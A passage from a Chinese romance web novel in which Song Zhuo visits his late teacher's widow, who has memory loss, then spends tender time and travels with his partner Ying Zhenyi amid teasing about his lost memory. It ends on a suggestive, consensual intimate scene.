她眼皮耷拉着,瞧上去有点困了。宋琢笑意疏淡,没有回答,按揉的力道却轻了几分:“身体放松,什么都别想,好好地睡一觉。”
这款精油有助眠的功效,应蓁宜不知道他按了多久,只觉得浑身的疲惫都渐渐散去,困意彻底袭来。
14. 第 14 章
宋琢到程家时,程敏瑜正在闹脾气。
她说,老韩的一个学生要回来了,他不在,她得去把那孩子接回来。
江婶问她那人是谁,去哪里接,老太太迷茫地想了想,说不知道。
江婶只以为她又犯糊涂了,哄着老太太回去。却不想程敏瑜今天格外执拗,就是要去接人。
宋琢扶着轮椅,“我陪您去。”
江婶就当他是为了哄哄老太太:“早点回来。”
宋琢只是推着她去了附近的公园,程敏瑜频繁回头看他:“你是谁啊?”
看样子,又不记得他了。
“我是宋琢,是韩老师的学生。”
他很耐心,程敏瑜哦了一声,目光注意到他微跛的腿:“你的腿怎么了?”
宋琢怕老太太晒着,替她整理了一下帽子,这才说:“不小心摔的。”
程敏瑜皱眉,似乎有点嫌弃:“你怎么这么笨。”
宋琢笑了笑,没有反驳,像是耐心陪伴的晚辈。
程敏瑜似乎忘了自己要出来找谁,目光茫然,有牵着狗的老大爷路过打了声招呼,她都不记得对方是谁了。
走了一圈,宋琢推着她回去了。
江婶哄着老太太:“学生接回来了?”
程敏瑜终于想起来自己是出去干什么的,她回头,轻轻牵住宋琢的手:“哝,接回来了。”
江婶笑盈盈地配合:“哟,看上去真是个不错的孩子。”
老太太可骄傲了,她邀请宋琢:“留下来吃顿饭吧。”
男人单膝着地,温和而谦卑地对她说:“下次吧,蓁蓁还在家里等我。”
程敏瑜愣了下:“蓁蓁是谁?”
没有意外她会忘记,宋琢的情绪没有太大的变化,耐心地回答:“我爱人。”
程敏瑜虽然不高兴,却还是说:“下次带她过来让我瞧瞧。”
宋琢笑着答应了:“会经常过来看您的。”
离开前,他再次去祭拜了韩老师。
程敏瑜看着男人高挑而孤寂的身影,神情恍惚地,忽然喃喃出声:“小琢。”
老太太的膝盖上盖着厚厚的毛毯,不只是清醒的,还是依然糊涂,混沌的双眼里仿佛是似曾相识的慈爱,“你的腿,疼不疼啊。”
“你在那里,是不是吃了很多的苦?”
宋琢喉咙上下一滚,他敛下情绪,笑意温柔地回答老太太:“不疼了。”
都过去六年了,他早就,早就忘了被打断腿时,是怎么样的痛不欲生。
-
应蓁宜一觉睡到了十点。
可能是昨天宋琢给她按摩过,现在浑身轻松,完全没有酸痛感。
从卧室出来,她却忽然顿住了脚步,心里小小地“哇”了声。
他穿了那件男人最赢荡的黑色高领毛衣,宽肩之下,胸肌贲张着格外性感的力量,鼓鼓囊囊的,令她又想埋进去。
宋琢正双腿交叠地看书,听见动静,他抬眼看了过来,只见小姑娘靠着门,头上随意地别了个发夹,一双眸子亮晶晶的。
他合上书本,让她过来。
应蓁宜亲昵地坐进了他的怀里,视线着迷地盯着他的胸膛,咽了下喉咙,这才矜持地转移话题:“你在看什么书?”
宋琢还挺喜欢看书的,之前去他家,就有一面很大的书架。
而且不像她总是浮躁,宋琢就如同毫无波澜的温水,不工作的时候,在任何地方,都能静静地翻看阅读。
宋琢给她看书的封面,应蓁宜看了一会儿就心不在焉的,目光扫到不远处的包裹,才想程敏瑜昨天说有东西给她。
“程老师状态怎么样?”
宋琢说:“精神不错,只是又记不得人了。”
应蓁宜懊恼:“我该和你一起去的。”
宋琢只是摸了摸她的脑袋:“有的是机会。”
应蓁宜趁机将脸埋在了他鼓囊的胸膛里,心满意足地蹭了一会儿,抱着宋琢的脖子,漂亮的眸子里闪烁着羞赧,却还是主动地说:“宋琢,我们好几天没接吻了。”
这可是一件很重要的大事。
宋琢将书随手放到一旁,长臂就这么慵懒地搭在沙发上,另只手搂着小姑娘的腰,似是将主动权交给了她:“那补回来?”
他穿着她最喜欢的衣服,还这样的温柔,应蓁宜完全招架不住,她心跳很快,脸颊红扑扑的,却像个强取豪夺的土匪似的放着狠话:“嗯!”
“我今天,要和你亲到天荒地老!”
宋琢被她可爱到了,温柔地含住她急急撞过来的唇舌,慢条斯理地满足这个贪吃鬼,偶尔轻轻拍着她的腰,似是在安抚她,别急,别急,慢点。
回来的时候,他买了一袋糖炒栗子。
应蓁宜的红唇被亲得水淋淋的,宋琢给她喂了杯水,开始剥板栗。
这个下午,她就这么倚在他怀里一起看书。
偶尔,她会偷袭似的亲他,宋琢并不觉得厌烦,只是顺其自然地放下书本,纵容地将人搂在怀里。
吻了很久,她舌头有点发麻,满足了,也安分了。
只不过,她还是不喜欢看书,脸颊埋在男人的胸膛里,渐渐的,她大脑昏沉,有些分不清这是梦境还是现实。
恍恍惚惚的,仿佛在记忆里,就是有人这么抱着她,温柔地哄她睡。
怀里的人身体一抖,紧紧抱着他,透着点无意识的迷恋。
她呢喃地说了句梦话,宋琢没有听清,将毯子盖在了她身上,搂在腰间的手安抚而轻柔地拍着。
-
在印象里,应蓁宜就从没出过远门。
离开自己的安全领域,她就特别老实,像只鹌鹑似的乖乖跟在他身边,黏人又胆小。
两人航班落地,是陈宵过来接机的。
男人穿得风流倜傥,还逗着她:“妹妹怎么看上去精神不好?”
应蓁宜没说话,倒是宋琢,笑意温柔地警告:“别随便叫妹妹。”
陈宵哼笑一声,坐进车里,应蓁宜偷偷捂着嘴打了个哈欠。
她像是第二天要出门的小学生,昨天晚上翻来覆去的,都没睡好。
宋琢哄着她:“等会儿睡一觉?”
两人是提前过来的,可以在酒店好好休息。
应蓁宜很乖地点了点头,陈宵开着车,好似漫不经心地问道:“你还是什么都没想起来?”
宋琢平静地触上了男人意味深长的目光,他还没有回答,应蓁宜的一颗心已经提了起来,这段时间的甜蜜让她忘了这件事。
宋琢注意到她的情绪,安抚地捏了捏她的手,陈宵真受不了他们这样旁若无人地亲昵,刻薄又不安好心地说:“我可是知道你很多事,也还有人在等你恢复记忆呢。”
他的话故意透着几分难以琢磨的深意,应蓁宜脸色倏地发白,心里一慌——
陈宵说的那人是谁?
是宋琢的亲人,朋友,还是.....恋人?
走神之际,宋琢将她揽进了怀里,抬眼看向后视镜里的男人,语调沉静地警告:“虽然我不记得别的,但我记得你胡言乱语的本事可不小。”
知道他在意这小姑娘,但也护得太紧了。
陈宵不在意地一笑,这才找补似的开口:“谁胡言乱语了?知道你欠我多少吗?”
宋琢笑意疏淡:“我什么都不记得,谁知道你是不是在敲诈。”
应蓁宜后知后觉,陈宵口中的有人,貌似是说他自己。
“他欠你多少?”
宋琢没想到她会忽然这么问,小姑娘脸色紧绷,乌黑的眼里却满是认真。
好像,真的要替他“还债”。
陈宵也愣了下,觉得很有意思,还不是完全没人性,意味深长地看了眼她身边的男人:“怎么能让你还,让他给我打一辈子工就好了。”
应蓁宜有点急了,想说她有钱,宋琢哄着她:“他乱说的,别信。”
陈宵无声地扯了下唇,没否认也没承认。
应
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蓁宜有点不安,凑到他耳边说着悄悄话:“我很多钱的。”
宋琢笑着摸了摸她的脑袋:“我知道。”
见小姑娘一直拧着眉,回到酒店后,他将人抱进怀里:“你不是看过我的余额吗?怎么可能还不了。”
应蓁宜后知后觉想起来,他记起银行卡密码的时候,确实给她看过余额。
“他乱说的,别当真。”
他慢条斯理地将陈宵打造成一个趁机勒索的恶人,应蓁宜相信了,愤怒地指责:“他真的好坏!”
宋琢赞同她的结论,只不过,他想说的是另一件事。
“蓁蓁,不要随便给别人花钱。”
应蓁宜有点委屈:“可你不一样啊。”
“我也一样的。”
宋琢的语气并没有任何指责的意思,依然温柔:“万一我是骗你的呢?还记不记得你之前看到的新闻,有的男人会哄骗女友帮自己还债。”
应蓁宜耷拉着脑袋,他的心瞬间软了下来:“我没有怪你,蓁蓁,我只是希望你,凡事都能以自己为主。”
她听进去了,昨晚没睡,困意在这个时候铺天盖地涌来。
宋琢陪她躺了会儿,再确定她睡着后,出去和陈宵打了个电话。
但应蓁宜在陌生的环境很容易醒来,他离开没多久,她就迷迷糊糊睁开了眼。
见他在沙发上打电话,她就这么安安静静地挤进了他怀里,依赖抱着男人的腰,像是寻找到了自己的阿贝贝。
不过,她听出了陈宵的声音。
因为“还债”这件事,她对陈宵还有点记恨,这个时候又打电话过来,只觉得他真的好讨厌。
她心里起了坏心思,不安分地亲亲他的脸,又吻他的唇。
宋琢没有阻止,还格外纵容地搂着她。
应蓁宜不想让他和陈宵聊,万一说了什么,万一宋琢想起来什么.....
她忽然把自己弄得焦虑烦躁了,不满足于亲吻,悄悄往下,调皮地咬了下男人的喉结。
宋琢漆黑的眼眸渐深,不轻不重地打了下她的屁/骨,透着点警告的意思。
闹腾的人脸颊一热,就这么老实了两秒,不安分地张嘴,轻轻咬了男人握着手机的手。
尖锐的虎牙故意磨了磨他的手指,像只坏心思的小狗。
宋琢三言两语结束了电话,他轻轻将人往上一托,只见自己被咬过的手指上,留下了很淡的湿痕。
应蓁宜心虚地移开视线,却被他捏住下颌,男人粗粝的指腹不轻不重地揉着她的唇,语调却是一如既往的温柔:“蓁蓁,咬人不是好习惯。”
所以,他决定好好惩罚这个不乖的小姑娘。
静谧的套房里,应蓁宜不受控制地吞咽着喉咙,唇齿纠缠时不小心溢出了轻吟。
她耳廓升温,心跳很快,却没想拒绝。
她好喜欢好喜欢这个惩罚!
宋琢宋琢,再重点亲我吧。
像是听到了她的心声,宋琢的惩罚久久没有停止。
不止惩罚她的唇,将她全身上下都罚了一遍。
在陌生的环境,她总会觉得不安。
所以,得做点耗力气的事让她不再闹腾。
应蓁宜有片刻的失神,以为这快乐又羞耻的惩罚结束了。正想窝进他怀里撒娇,却见男人不知从哪拿出个小盒子,又拆出个戒指似的小环。
随后,慢条斯理地将修长的手指套了一层淋淋的。
很薄的。
很透的膜。
她总是贪吃地嚷嚷要与他更近进一步地亲密。
可真到了这一刻,她竟呆呆地傻问了一句:“手指,也需要这个吗?”
宋琢将她抱了起来,面对面的,让人坐在自己身上。
陌生的新尝试,让她分不清自己是紧张还是兴奋。
宋琢注意着小姑娘的反应,就连在情/事上,都格外的温柔:“不是喜欢咬我的手指吗?”
“被你咬得出不来了该怎么办?”